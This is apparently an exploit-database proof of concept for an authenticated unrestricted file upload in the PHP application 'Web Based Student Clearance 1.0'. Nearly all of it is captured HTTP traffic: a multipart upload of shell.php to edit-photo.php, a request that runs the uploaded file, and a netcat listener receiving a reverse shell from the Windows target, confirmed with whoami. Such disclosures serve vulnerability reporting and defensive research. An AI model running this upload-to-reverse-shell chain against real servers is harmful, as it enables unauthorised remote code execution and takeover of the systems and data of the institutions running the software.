# Exploit Title: Web Based Student Clearance 1.0 - Unrestricted File Upload
leads to Remote Code Execution (Authenticated)
# Date: 08-10-2022
# Exploit Author: Akash Pandey ( L3V1ATH0N )
# Vendor Homepage:
https://www.sourcecodester.com/php/15627/web-based-student-clearance-system.html
# Software Link:
https://www.sourcecodester.com/download-code?nid=15627&title=Web-Based+Student+Clearance+System+in+PHP+Free+Source+Code
# Version: v1.0
# Tested on: Windows, XAMPP, Kali Linux
# CVE :
----- POC -----
Note : The reverse shell below is for Windows based PHP reverse shell.
If the target host is using Linux then the Linux based PHP reverse shell
must be used.
---------------
Request : URL -
http://localhost/student_clearance_system_Aurthur_Javis/student_clearance_system_Aurthur_Javis/edit-photo.php
=========
POST
/student_clearance_system_Aurthur_Javis/student_clearance_system_Aurthur_Javis/edit-photo.php
HTTP/1.1
Host: 192.168.1.12
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101
Firefox/91.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;
boundary=---------------------------71268058833541201443517047173
Content-Length: 6864
Origin: http://192.168.1.12
Connection: close
Referer:
http://192.168.1.12/student_clearance_system_Aurthur_Javis/student_clearance_system_Aurthur_Javis/edit-photo.php
Cookie: PHPSESSID=9rnst2bfmbtrgapqsalerlrdjm
Upgrade-Insecure-Requests: 1
-----------------------------71268058833541201443517047173
Content-Disposition: form-data; name="userImage"; filename="shell.php"
Content-Type: application/x-php
-----------------------------71268058833541201443517047173
Content-Disposition: form-data; name="btnedit"
-----------------------------71268058833541201443517047173--
=========================================
End of Request
=========================================
Response:
========
HTTP/1.1 302 Found
Date: Sat, 08 Oct 2022 09:30:51 GMT
Server: Apache/2.4.54 (Win64) OpenSSL/1.1.1p PHP/7.4.30
X-Powered-By: PHP/7.4.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: edit-photo.php
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 8575
========================================
End of Response
========================================
The Reverse Shell is located at below URL
-----------------------------------------
Request: URL -
http://localhost/student_clearance_system_Aurthur_Javis/student_clearance_system_Aurthur_Javis/uploads/shell.php
========
GET
/student_clearance_system_Aurthur_Javis/student_clearance_system_Aurthur_Javis/uploads/shell.php
HTTP/1.1
Host: 192.168.1.12
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101
Firefox/91.0
Accept: image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer:
http://192.168.1.12/student_clearance_system_Aurthur_Javis/student_clearance_system_Aurthur_Javis/edit-photo.php
Cookie: PHPSESSID=9rnst2bfmbtrgapqsalerlrdjm
========================================
End of Request
========================================
Response:
=========
HTTP/1.1 200 OK
Date: Sat, 08 Oct 2022 09:32:16 GMT
Server: Apache/2.4.54 (Win64) OpenSSL/1.1.1p PHP/7.4.30
X-Powered-By: PHP/7.4.30
Content-Length: 268
Connection: close
Content-Type: text/plain;charset=UTF-8
Notice: Undefined variable: res in
C:\xampp\htdocs\student_clearance_system_Aurthur_Javis\student_clearance_system_Aurthur_Javis\uploads\shell.php
on line 12
Using dir : C:\windows\temp
Executing : D3fa1t_shell.exe 80 192.168.1.26
========================================
End of Response
========================================
After uploading the reverse shell file you will get the reverse shell
normally. If you don't get reverse shell then locate to 'uploads' folder.
Reverse Shell Remotely:
======================
┌──(kali㉿kali)-[~]
└─$ rlwrap nc -lvnp 80
listening on [any] 80 ...
connect to [192.168.1.26] from (UNKNOWN) [192.168.1.12] 65168
b374k shell : connected
Microsoft Windows [Version 10.0.19043.2006]
(c) Microsoft Corporation. All rights reserved.
whoami
whoami
l3v1ath0n\admin
C:\Windows\Temp>